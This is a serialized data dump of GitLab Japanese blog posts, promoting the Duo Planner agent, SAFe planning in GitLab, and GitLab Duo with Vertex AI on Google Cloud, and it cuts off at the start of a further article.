フィードバックをお聞かせください\n\nぜひこれらの新機能をお試しください。そして、ワークアイテムリストと保存済みビューについてのご意見を[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689)にてお知らせください。皆さまのコメントが、これらの機能のさらなる改善につながります。",[787],"Matthew Macfarlane","2026-03-29","2026-03-23","チームの計画がはかどる、GitLab 18.10のアジャイル新機能",[792,793,745],"agile","features","全ワークアイテムを1つのリストで管理し、よく使うビューを保存して再利用。チームの計画作業が格段に楽になります。",{"featured":13,"template":796,"slug":797},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":799,"config":810},{"title":800,"description":801,"heroImage":802,"date":803,"body":804,"category":640,"tags":805,"authors":807},"コンテキストスイッチを排除した効率的な計画","GitLab Duo Planner Agentが、プロダクトマネージャーとエンジニアリングマネージャーが最も重要な業務に集中できるよう支援し、タスクを簡素化して時間を節約する方法をご紹介します。\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","ソフトウェア開発チームは、難しいバランス調整に日々直面しています。数十ものタスク、限られた時間、そして次に取り組むべき適切な作業の優先順位を考えて選択するという絶え間ないプレッシャーです。\n\n要件の構造化、バックログの管理、リリースの管理、ステータス更新の作成といった計画のオーバーヘッドが、戦略的思考に費やす貴重な時間を奪っています。\n\nつまり、プロダクトを前進させる、高価値な意思決定に割ける時間が減少してしまうのです。\n\nそこで開発されたのが[GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)です。これは、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)上に構築されたAIエージェントで、GitLab内で直接プロダクトマネージャーをサポートします。\n\nGitLab Duo Plannerは、単なる汎用的なAIアシスタントではありません。多くのお客様と同様に、日々こうした課題に直面しているGitLabのプロダクトチームとエンジニアリングチームが、計画ワークフローを最適化し、チーム連携と予測可能性を向上させながらオーバーヘッドを削減できるようにするために、特別に構築されたものです。\n\n## 計画を支援するAI\n\n既存の計画ワークフローには、3つの大きな問題があります：\n\n1. 計画のずれが生じやすい - 計画外の作業や放置された作業により、計画への信頼が低下する。\n2. デベロッパーの作業を中断させる - ステータス更新のための絶え間ない中断が、作業の流れを断ち切る。\n3. 不透明性 - 隠れたリスクが、手遅れになってから表面化する。\n\nチームの働き方を変革するGitLab Duo Plannerは、漠然としたアイデアを数分で構造化された要件に変換するなど、手動のオーバーヘッドを削減します。スプリントを脱線させる前に、隠れたバックログ問題を可視化し、RICEやMoSCoWフレームワークを即座に適用して、確信を持って優先順位付けの意思決定を行えます。プラットフォーム全体でGitLabコンテキストを認識しているため、GitLab Duo Plannerとのすべてのやり取りが時間を節約し、意思決定の質を向上させます。これは、GitLab固有の深いドメイン専門知識とコンテキスト認識をもたらす基盤となるエージェントアーキテクチャによって実現されています。\n\n## チームのために構築\n\nGitLab Duo Plannerは、作業アイテム（エピック、イシュー、タスク）を活用し、作業分解構造、依存関係分析、工数見積もりのニュアンスを理解するので、可視性、連携、デリバリーへの確信を高める上で最適です。\n\n* プラットフォームアプローチ - ポイントソリューションとは異なり、Duo Plannerは計画から開発、テストまで、GitLabプラットフォーム全体をオーケストレーションし、チームとワークフロー全体の可視性を向上します。\n\n* フローに組み込まれた設計 - ツール間のコンテキストスイッチや、必要な情報を取得するためにGitLabの複雑な階層をたどる必要がなくなります。Duo Plannerは、ソフトウェア開発ライフサイクル全体のユーザーからのコントリビュート、コラボレーション、透明性の維持を可能にします。\n\n* 時間と労力を節約 - Duo Plannerを使用して、繰り返しの調整作業からチームを解放し、デリバリーの予測可能性を向上させ、コミットメントの見落としを減らしながら、実際に成果を生み出す要素に集中できるようになります。\n\n## 複雑な計画をシンプルに\n\nGitLab Duo Plannerは、計画スコープ内で安全かつ制約された環境を提供し、プロジェクトの可視性を確保しながら、ソフトウェアの計画とデリバリーのさまざまな段階で支援します。\n\nエージェントは、次の6つのフローを支援します：\n\n* 優先順位付け - RICE、MoSCoW、WSJFなどのフレームワークを適用して、作業アイテムをインテリジェントにランク付け。\n\n* 作業分解 - イニシアチブをエピック、フィーチャー、ユーザーストーリーに分解して、要件を構造化。\n\n* 依存関係分析 - ブロックされた作業を特定し、アイテム間の関係を理解して、ベロシティを維持。\n\n* 計画 - スプリント、マイルストーン、または四半期ごとの計画を整理。\n\n* ステータスレポート - プロジェクトの進捗状況、リスク、ブロッカーのサマリーを生成して、デリバリーを追跡。\n\n* バックログ管理 - 古いイシュー、重複、または改善が必要なアイテムを特定して、データの健全性を向上。\n\n\n以下は、GitLab Duo Plannerがイニシアチブのステータスを確認する例です：\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Plannerは、現在のページコンテキストを持つDuo Chatサイドパネル内のカスタムエージェントとして利用できます。\n\n\u003Cp>\u003C/p>\n\n![Duo Plannerは、Duo Chatサイドパネル内のカスタムエージェントとして利用可能](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nエピックリンクを提供して、Duo Plannerにイニシアチブのステータスを尋ねてみましょう。\n\n![エピックリンクを提供してDuo Plannerにイニシアチブのステータスを尋ねる](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nすると、概要、マイルストーンの現在のステータス、進行中のアイテム、依存関係、ブロッカー、そして実行可能な推奨事項を含む構造化されたサマリーを受け取れます。\n\n![構造化されたサマリー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\n次に、ステークホルダーと共有するためのエグゼクティブサマリーを依頼してみましょう。\nGitLab Duo Plannerは、何時間もの手作業での分析やレポート作成の労力を削減し、意思決定の迅速化とすべてのステークホルダーへの最新情報の共有を支援します。\n\n![エグゼクティブサマリーを依頼](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![エグゼクティブサマリーの出力](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nGitLab Duo Plannerで試せるその他のプロンプトの例をいくつかご紹介します：\n\n* 「\"boards\"ラベルが付いたバグのうち、ユーザーへの影響を考慮して最初に修正すべきものはどれですか？」\n* 「これらのエピックを、第1四半期の戦略的価値に基づいてランク付けしてください。」\n* 「新機能に対して技術的負債の優先順位付けを支援してください。」\n* 「このユーザーストーリーを実装するために必要なタスクは何ですか？」\n* 「このプロジェクトの段階的アプローチを提案してください:（プロジェクトのURLを挿入）。」\n\n## 次のステップ\n\nGitLab Duo Plannerは、アジャイル環境で働くプロダクトマネージャーとエンジニアリングマネージャーに意図的に焦点を当てています。その理由は、特定性がパフォーマンスを向上させるからです。GitLabの計画ワークフローとアジャイルフレームワークについてDuo Plannerを深く学習させることで、汎用的な提案ではなく、信頼性の高い実行可能なインサイトを提供します。\n\nプラットフォームを進化させる中で、それぞれが特定のワークフローに最適化されつつ、統一されたインテリジェンスレイヤーに貢献する、専門化されたエージェント群を構想しています。今日のソフトウェアチーム向けプランナーは、AIがすべてのチームの作業優先順位付けを変革する道のりの始まりに過ぎません。\n\n> GitLabの既存のお客様で、独自のプロンプトでGitLab Duo Plannerを試してみたい場合は、前提条件、ユースケースなどを記載した[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)をご覧ください。",[806,792,793,745],"AI/ML",[808,809],"Aathira Nair","Amanda Rueda",{"featured":13,"template":796,"slug":811},"ace-your-planning-without-the-context-switching",{"content":813,"config":823},{"title":814,"description":815,"authors":816,"heroImage":817,"date":818,"body":819,"category":640,"tags":820},"GitLabで実現するサイロのないSAFe","Scaled Agile Framework（SAFe）をDevSecOpsプラットフォームのネイティブ機能にマッピングする方法と、そこから得られるメリットについて学びましょう。",[809],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","あなたの組織がScaled Agile Framework（SAFe）を導入し、エンタープライズ規模へとスケールしようとするとき、何が起こるのか考えてみましょう。複数のチームが複雑な製品の開発に取り組んでおり、すべての作業を調整する手段が必要になります。しかし、ここでよくある問題が発生します。計画はあるツールで行い、実際の開発作業はまったく別の場所で進められているという状況です。\nこのような分断は、日常業務においてさまざまな問題を引き起こします。デベロッパーは複数のシステムを行き来し、プロダクトマネージャーは正確な進捗状況を把握できず、誰もが情報を手作業でほかの場所へとコピーすることに時間を浪費します。これこそがまさに、SAFeが解消しようとしている「分断された体験」の典型です。\nすでに開発チームがGitLabを使ってソースコード管理、CI/CD、セキュリティを行っている場合、SAFeフレームワークでの計画管理にもGitLabを活用できるのかどうか疑問に思うかもしれません。幸いなことに、GitLabのアジャイルプロジェクト管理機能はSAFeを強力にサポートしています。この記事では、GitLabがSAFeの各種概念やセレモニーとどのように対応しているのかを紹介します。しかも、すべてデベロッパーがすでに慣れ親しんでいる同じDevSecOpsプラットフォーム上で実現できます。\n## SAFeとは？\nSAFe（Scaled Agile Framework）は、アジャイルの考え方をスピードや方向性、顧客重視の姿勢を失うことなく、大規模な組織全体に広げるための手法です。少人数チームで使われる柔軟かつ反復的なアジャイルの進め方を、複数のチームやロードマップ、関係者を抱える大規模組織にも適用できるように設計されています。このフレームワークを活用することで、組織全体の方向性が揃い、計画と実行が一貫して進むようになります。プロダクトマネージャーにとっては、SAFeを導入することで、戦略と実行をしっかりつなげることができ、とにかく早くリリースするだけでなく、チームで方向性を揃え、優先順位に基づいて本当に出すべきものをリリースできるようになります。\nSAFeはサイロを減らし、チーム間のコラボレーションを促進するとともに、単なる作業の実行ではなく、「顧客が求める成果」を中心にチームをまとめます。GitLabにSAFeを統合すると、可視性、トレーサビリティ、成果のすべてが、1か所に集約され、その効果はさらに高まります。\n## GitLabにおけるSAFeの用語対応\nまず、SAFeの概念がGitLab内でどのように対応するかを確認しましょう。\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | トップレベルエピック |\n| Capability | サブエピック（レベル1） |\n| Feature | サブエピック（レベル2） |\n| User Story | イシュー |\n| Task | タスク |\n| Team | カスタムフィールド/範囲指定したラベル |\n| Sprint | イテレーション |\n| Program Increment (PI) | マイルストーン |\n| Value Stream | トップレベルグループ |\n| Agile Release Train (ART) | トップレベルグループ |\n\u003Cbr>\u003C/br>\nこの対応表をガイドとして活用すると、GitLabをSAFeの実装と連動させて構築できます。グループ構造を使うと、バリューストリームやART（Agile Release Train）単位で整理できます。また、最大7階層までネスト可能なエピックによる作業アイテムの階層構造により、複雑なプロダクトポートフォリオにも対応できる深さを備えています。ポートフォリオレベル（トップレベルグループ）、プログラムレベル（サブグループ）、チームレベル（プロジェクト）といった、どの階層で作業していても、GitLabの組織構造はSAFeの階層とぴったり合致します。\n## GitLabでのSAFeのセレモニーのサポート\nここからが本題です。GitLab上でSAFeのセレモニーを実際にどう実行するのか、順を追って見ていきましょう。\n### PIプランニング\nチーム間の調整と依存関係の管理を促進し、PIプランニングを成功させるために、GitLabでは以下のような機能が提供されています。\n* [ロードマップ](https://docs.gitlab.com/user/group/roadmap/)ビューを使用して、複数のチームや期間にわたるフィーチャーを可視化する\n* フィーチャーをPI[マイルストーン](https://docs.gitlab.com/user/project/milestones/)に割り当てる\n* 見つかったチーム間の[依存関係](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues)を文書化し、視覚化する\nGitLabでは、エピックボード（チームごとの割り当てを表示するように設定可能）とロードマップビュー（ガントチャートのように時間軸でフィーチャーを表示）を使い分けることで、柔軟にPIプランニングを進めることができます。タイムラインかチーム構成のどちらに注目するかに応じて、プランニング中にビューを切り替えられます。\n![ロードマップビューとエピックボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\u003Cbr>\u003C/br>\n![ガントチャート付きロードマップビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n### リファインメント\nプロダクトマネージャーにとって、効果的なリファインメントを行うには、フィーチャーのバックログを明確に把握しておくことが重要です。GitLabなら、リファインメントをそのままGitLab上で実施できます。会議中に1つのツールを更新して、その後に別のツールを更新する必要はもうありません。\nGitLabでは、以下の機能によってリファインメントを効率的に進められます。\n* 状態ごとにフィーチャーを整理できる[エピックボード](https://docs.gitlab.com/user/group/epics/epic_boards/)\n* ストーリーポイントを[概要](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)ビューで直接確認できる機能\n* 作業アイテムをその場で操作しながら、全体の文脈を見失わない包括的な[drawerビュー](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer)\n* エピックから[子イシュー](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic)を直接作成・リンクできる機能\n![SAFe - 画像3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n### スプリント計画\n次のスプリントでチームが取り組む作業を決めるタイミングでは、GitLabの以下の機能を活用できます。\n* バックログを包括的に確認できる[イシューボード](https://docs.gitlab.com/user/project/issue_board/)\n* ボード上にユーザーストーリーの[合計ウェイト](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights)を直接表示\n* イシューを簡単にイテレーション間で移動できる機能\n* スプリント間のストーリー移動を効率化する折りたたみ可能なビュー\nつまり、すべてを1か所に集約して管理でき、プランニングミーティングではツールを行き来するのではなく、実際の計画に集中できます。\n![GitLabで行うスプリント計画](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752378662/Blog/ynmq3wnf77yk6xkehkda.gif )\n* GitLabを活用したスクラムの進め方については、[こちら](https://docs.gitlab.com/tutorials/scrum_events/)のチュートリアルをご覧ください。アジャイルプランニングやスプリントの進捗管理におけるGitLabの便利な機能を詳しく確認できます。*\n### デイリースタンドアップ\nデイリースタンドアップでは、チーム全員がボードを囲んで、誰が何に取り組んでいるか、どこで詰まっているか、どの作業がレビュー待ちかを、すべて単一のビューで確認できます。GitLabでは、以下の機能が開発チームのデイリースタンドアップに役立ちます。\n* 現在のスプリントに絞った[イテレーションスコープ付き](https://docs.gitlab.com/user/project/issue_board/#iteration-lists)のボードを作成\n* 各カード上にストーリーポイント/ウェイトを直接表示\n* コンテキストを失わずに詳細にアクセスできる[drawerビュー](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer)の活用\n* [ヘルスステータス](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)でリスクのあるタスクをハイライト表示\n![デイリースタンドアップのボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n### スプリントレビュー\nチームの進捗状況を継続的に把握したいですか？GitLabでは、以下のような包括的なメトリクスを利用できます。\n* イテレーションごとの[バーンダウンチャートおよびバーンアップチャート](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts)\n* ベロシティのトラッキング\n* [リードタイムおよびサイクルタイム](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)のメトリクス\n* チーム単位でスコープ設定できるダッシュボード\nこれらの指標により、チームのスピードが上がっているか、どこでつまずいているか、そして次回のレトロスペクティブで話し合うべきポイントを明確に把握できます。\n![バーンダウンチャートとバーンアップチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n## 統合プラットフォームが強みとなる5つの理由\nSAFeのセレモニーを管理できる計画ツールはたくさんあります。でも、GitLabが本当に他と違うと私が感じているのには、明確な理由があります。\n1. **頭の切り替えが不要** - 計画、コーディング、テスト、セキュリティのすべてを、1か所で完結できます。\n2. **すべてがつながっている** - 大きなエピックからコード、デプロイまで、作業の流れをたどれます。\n3. **全員が同じ認識を持てる** - デベロッパー、プロダクト担当、セキュリティチームが、同じツール上で連携できます。\n4. **完全な可視性** - ステークホルダーは、進捗の確認を1か所で行えます。\n5. **全体像が見える** - 計画と開発のメトリクスをまとめて確認できるため、本当の状況が明確になります。\nもしあなたの開発チームがすでにGitLabを使いこなしているなら、プランニングのためだけに別のツールへ切り替えたり、複雑なインテグレーションを無理やり組み合わせたりする必要はありません。SAFeプランニングをGitLabに取り込むことで、チーム全体にとってはるかにスムーズな体験が得られます。\n## 実装の原則\n私は従来型のSAFeツールからGitLabへの移行に取り組むチームと協力してきましたが、その経験から学んだことがあります。それは、以前のツールをそのまま再現しようとするのではなく、**それぞれのセレモニーが何を目的としているか**に注目することが重要だということです。\nGitLabの利点を最大限に活用しているのは、GitLabのネイティブ機能を素直に受け入れて、それに逆らわずに活用しているチームです。もちろん、SAFeの概念をどうマッピングするか、ワークフローをどう構築するかを最初に整理するには少し手間がかかります。しかし、一度その形ができてしまえば、プロセスは複雑になるどころか、むしろシンプルになります。\n成功のカギは、全員が従うべき規則を定義することです。どのラベルが何を意味するのか？ チームをどう追跡するのか？エピックとイシューにはそれぞれ何を入れるのか？こうした判断を事前に少し整理しておくだけで、複数ツール間の調整にかかっていた手間を解消できる、直感的なシステムが手に入ります。\n## 導入を始める\nさて、試してみる準備はできましたか？GitLabでSAFeを導入するためのステップは以下のとおりです。\n1. **構造を整える** - [組織構成](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)に合わせて、グループやサブグループを作成します。\n2. **作業の詳細を定義する** - [エピック](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)、[イシュー](https://docs.gitlab.com/user/project/issues/managing_issues/)、[タスク](https://docs.gitlab.com/user/tasks/)をどのように使い分けるかを定義します。\n3. **イテレーションを作成する** - [スプリントのスケジュール](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence)を設定します。\n4. **マイルストーンを追加** - GitLab上でプログラムインクリメント（PI）を表す[マイルストーン](https://docs.gitlab.com/user/project/milestones/#create-a-milestone)を作成します。\n5. **ボードを構築する** - セレモニーごとに異なるビューを用意します。\n6. **規則について合意する** - ラベルやカスタムフィールドの使い方を文書化し、チームで統一します。\nこれらのポイントを最初にしっかり考えておくことで、後々のトラブルや混乱を避けられます。そして、初日から完璧にする必要はないことを忘れないでください。運用しながら学び、必要に応じていつでも調整できます。\n## すべてをまとめる\nGitLabは、SAFeを実行するための堅実な基盤を提供します。特に、あなたの開発チームがすでにGitLabに慣れ親しんでいる場合には最適です。計画と開発を同じツール上で進めることで、煩雑なハンドオフが不要になり、コラボレーションが格段にしやすくなり、すべての動きがよりスピーディになります。\nGitLabのプランニングツールの魅力は、あなたのチームに合わせて柔軟にSAFeをカスタマイズできることです。 決められた型にはまる必要はありません。チームが成熟し、ニーズが変われば、それに応じて運用方法も進化させることができます。\n> サイロ化したプランニングにさよならして、もっと快適なワークフローを体験してみませんか？まずは[無料トライアルを開始](https://about.gitlab.com/ja-jp/free-trial/?hosted=saas)して、GitLabがどのようにSAFe導入を変革できるかを実感してください。\n*💡 このトピックに興味を持った方は、関連記事の[アジャイルソフトウェア開発におけるGitLabの活用法](https://about.gitlab.com/ja-jp/blog/gitlab-for-agile-software-development/)もぜひご覧ください*\n",[792,821,793,745,822],"DevSecOps platform","tutorial",{"slug":824,"featured":13,"template":796},"safe-without-silos-in-gitlab",{"category":656,"slug":654,"posts":826},[827,841,854],{"content":828,"config":839},{"title":829,"description":830,"authors":831,"body":834,"heroImage":835,"date":836,"category":654,"tags":837},"GitLabとVertex AI on Google Cloud：エージェント型ソフトウェア開発の加速","Google CloudのVertex AIとGitLab Duo Agent Platformを組み合わせることで、ファウンデーションモデル、エンタープライズ制御、Model Gardenの豊富なモデルを活用したエージェント型開発が実現します。\n",[832,833],"Regnard Raquedan","Rajesh Agadi","GitLab Duo Agent Platformは、組織がソフトウェアをビルド、セキュア化、そして提供する方法を再定義しつつあります。2026年1月の一般提供開始以来、このプラットフォームはソフトウェア開発ライフサイクルのあらゆる段階にエージェント型AIをもたらしています。Duo Agent Platformは、ソフトウェアチームと専門エージェントが連携して計画、コーディング、レビュー、セキュリティ脆弱性の修正を行う、インテリジェントなオーケストレーションレイヤーです。\n\nこのパートナーシップを通じて、[GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/)はVertex AI on Google Cloudとの統合によりソフトウェア開発のオーケストレーションとライフサイクルコンテキストを自動化します。Vertex AIはエージェント呼び出しのモデル層を担い、ソフトウェアチームはすでに定義済みのGoogle Cloudポリシーに従って推論を実行しながら、イシュー、マージリクエスト、パイプライン、セキュリティワークフローの作業を継続できます。\n\nGoogle CloudのVertex AIモデルの進化により、Google CloudユーザーはGitLab Duo Agent Platformをさらに活用できるようになっています。GitLabではAIを活用したDevSecOpsコントロールプレーンを、Vertex AIの急速に進化するAIインフラ基盤と、Duo Agent Platformの柔軟なデプロイ・統合オプションが支えています。この組み合わせにより、エンタープライズスケールで動作する、より高度でガバナンスの効いたエージェント型ワークフローが実現します。\n\n![Google CloudのVertex AIと連携してエージェント型ソフトウェア開発とガバナンスを備えたAIワークフローを実現するGitLab Duo Agent Platformの概念図](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776165990/b7jlux9kydafncwy8spc.png)\n\n## 開発ライフサイクル全体にわたるエージェント\n\n多くのAIツールは、コードをより速く生成するという単一のタスクに集中しています。GitLab Duo Agent Platformはそれをさらに超え、計画からセキュリティレビュー、リリースまで、ソフトウェア開発ライフサイクル（SDLC）全体にわたってAIエージェントをオーケストレーションします。これは、多数のプロジェクトとリリースを抱える多くのチームを対象としています。このスケールにおいて、AIコーディングアシスタントは継続的なイノベーションに必要ではありますが、それだけでは十分ではありません。\n\n単一目的のコーディングアシスタントがプロジェクトの全体像を把握することはほとんどありません。バックログの状況、オープン中のマージリクエスト、失敗したジョブ、セキュリティの検出結果はGitLabに蓄積されていますが、コーディングアシスタント内の別のチャットウィンドウはSDLCのその全体像を引き継ぐことができません。このギャップは、手動によるハンドオフ、コンテキストを持たないAIへの重複した説明、そして一つのシステムとして設計されたわけではないツール間のデータフローをマッピングしようとするガバナンスチームという形で表れます。\n\nGitLab Duo Agent Platformは、エンジニアが日々使用するオブジェクト上でエージェントとフローを動作させることで、このギャップを埋めます。Google Cloudを推論の基盤として選択している場合、Vertex AIはエージェントが呼び出すモデルとサービスを提供し、GitLabのAI Gatewayがアクセスを仲介することで管理者はどこに何が接続されているかを明確に把握できます。例えば、GitLab Duo Planner Agentはバックログを分析し、エピックを構造化タスクに分解し、優先順位付けフレームワークを適用することで、次に何を構築するかをチームが判断するのを支援します。Security Analyst Agentは脆弱性をトリアージし、平易な言葉でリスクを説明し、優先順位に従って修正を推奨します。ビルトインのフローはこれらのエージェントをエンドツーエンドのプロセスへと連結し、開発者がすべてのハンドオフを手動で管理する必要をなくします。\n\nGitLab Duo Agent PlatformのAgentic Chatは、開発者にとって統合された体験を提供します。自然言語でクエリを投げかけることで、プロジェクトのイシュー、マージリクエスト、パイプライン、セキュリティの検出結果、コードベースといった全体像を踏まえた多段階の推論に基づくコンテキスト対応の回答が得られます。GitLabがSDLCの統一データモデルを持つ記録システムとして機能しているため、GitLab Duoエージェントは、スタンドアロンのツール固有AIアシスタントでは到達できないライフサイクルコンテキストをもとに動作します。\n\n### Vertex AIによる能力の拡張\n\nGitLab Duo Agent Platformはモデルフレキシブルな設計となっており、タスクごとに最適なパフォーマンスを発揮するモデルへと異なる機能をルーティングします。このアーキテクチャの選択はGoogle Cloud上で効果を発揮します。Vertex AIはファウンデーションモデルと関連サービスのマネージド環境として機能し、幅広いモデルエコシステムとマネージドインフラを提供することでプラットフォームの能力をさらに引き出します。\n\nVertex AIを通じて利用できる最新世代のAIモデルは、以前のバージョンと比較して推論、ツール使用、長文コンテキスト理解において大幅な改善をもたらします。これらはまさに、GitLabのエージェントが大規模で複雑なコードベースを持つ多くのプロジェクトとチームにわたって依拠するプロパティです。基盤モデルにおけるより長いコンテキストウィンドウと豊富なツール連携により、エージェントが一度のパスで達成できることが広がり、深いバックログ分析やモノレポのセキュリティレビューといったワークロードに特に重要な意味を持ちます。\n\n幅広いファウンデーションモデルへのアクセスを提供する[Vertex AI Model Garden](https://cloud.google.com/model-garden)により、ベンダーロックインではなく、パフォーマンス、コスト、規制要件に基づいてこれらの選択を行う自由がお客様に与えられます。\n\nさらに、GitLabのお客様はDuo Agent PlatformにBYOM（Bring Your Own Model）を利用することで、承認済みのプロバイダーとゲートウェイをセキュリティモデルが期待する場所に配置できます。[18.9リリースにおけるセルフホスト型Duo Agent PlatformとBYOMの解説](https://about.gitlab.com/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/)では、その仕組みが詳しく説明されています。このデプロイオプションにより、お客様はソフトウェア開発プロセスに合わせてカスタマイズできるより広いモデルの選択肢へのアクセスを得られます。適切なワークフローに、適切なモデルを、適切なガードレールとともに。\n\nGitLabがVertex AIを基盤として選択したのは、エンタープライズグレードの信頼性と比類ないモデルの幅広さへのニーズによるものです。Vertex AIとModel Gardenは、LLMホスティングの重労働を完全に抽象化し、迅速なバージョン提供、堅牢なセキュリティ、厳格なガバナンスをシームレスに統合に組み込んでいます。Geminiモデルの提供にとどまらず、Vertex AIはサードパーティおよびオープンソースモデルの豊富なカタログへのグローバルかつ低レイテンシのアクセスを提供します。\n\nGoogleCloudの業界をリードするデータプライバシーとモデル保護へのアプローチと組み合わせることで、Vertex AIはGitLabの次世代デベロッパーエクスペリエンスを支える明確な選択肢として浮上しました。\n\nVertex AI Model GardenをバックエンドへIntegrateすることで、GitLabはDevSecOpsプラットフォームを強化しながら、その複雑さをユーザーに負わせることがありません。開発チームは基盤となるLLMの評価や管理に煩わされることなく、アプリケーション構築のための効率的なAI支援ワークフローを体験できます。\n\nGitLabはクラウドオーケストレーションを完全に抽象化し、開発者が優れたコードの記述に集中できる環境を提供する一方、Vertex AIはその支援となる機能を動かしています。\n\n## Google Cloudをご利用のお客様への意義\n\nGitLab Duo Agent Platformはすでに、一つのガバナンスの効いた記録システムの中でソフトウェアライフサイクル全体にわたって動作するAIエージェントを提供しています。Google Cloud上では、Vertex AIがモデルとインフラ層を継続的に進化させながら、迅速なイノベーションを可能にします。\n\nGoogle Cloudをご利用のお客様にとって、この統合は厳格なエンタープライズガバナンスを維持しながらソフトウェア提供を効率化することを意味します。プラットフォームエンジニアリンググループにとっては、クライアントサイドのツールを数十種類カタログ化するのではなく、GitLab内の提案、分析、修正を担うVertex AI連携モデルを標準化することを意味します。セキュリティプログラムは、エージェントが開発者がすでに検出結果をトリアージしている場所と同じ場所で修正を提案・検証することで、頭の切り替えを減らし、管理されていないチャネルへ流出していた作業を削減できます。\n\nクラウドの費用対効果とポリシーの観点から、GitLab内からVertexへのエージェント推論をまとめることで、Google Cloud上ですでに運用している契約や統制に近い形で使用量を管理でき、調達プロセスを迂回する重複支出やシャドーパスを回避するのに役立ちます。\n\nVertex AIはGitLab Duo Agent Platformの基盤インフラプロバイダーであるため、組織はAIツールチェーンの断片化を管理するオーバーヘッドとリスクなしに、デベロッパーの生産性を大幅に向上させることができます。チームは単一のセキュアな記録システムの中で足並みを揃え、アプリケーションをより速くビルドし、確信を持ってリリースできるようになります。\n\nGitLabとGoogle Cloudのコラボレーションは2018年から続いています。今日、これはAIの実験から、Google Cloud上での完全にガバナンスが効いたエージェント型ソフトウェア開発へと移行する組織にとって、最も包括的なパスの一つとなっています。GitLabがエージェントオーケストレーションとデベロッパーコンテキストを拡充し、Vertex AIがモデル能力とエージェントインフラの限界を押し広げていく中で、共同顧客にとっての価値は今後も成長し続けるでしょう。\n\n> [GitLab Duo Agent Platformの無料トライアルを開始](https://about.gitlab.com/free-trial/)して、Google Cloud上でのGitLabとVertex AIのパワーをぜひご体験ください。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2026-04-14",[806,257,838,719,745],"google",{"featured":13,"template":796,"slug":840},"gitlab-and-vertex-ai-on-google-cloud",{"content":842,"config":852},{"heroImage":843,"body":844,"authors":845,"updatedDate":847,"date":848,"title":849,"tags":850,"description":851,"category":654},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643639/sapu29gmlgtwvhggmj6k.png","ソフトウェア開発の管理では、複数のツールを同時に扱うことが求められます。Jiraで課題を追跡し、IDEでコードを記述し、GitLabでコラボレーションするといった具合です。こうしたプラットフォーム間のコンテキストの切り替えは集中力を妨げ、デリバリーを遅らせます。\n\nGitLab Duo Agent 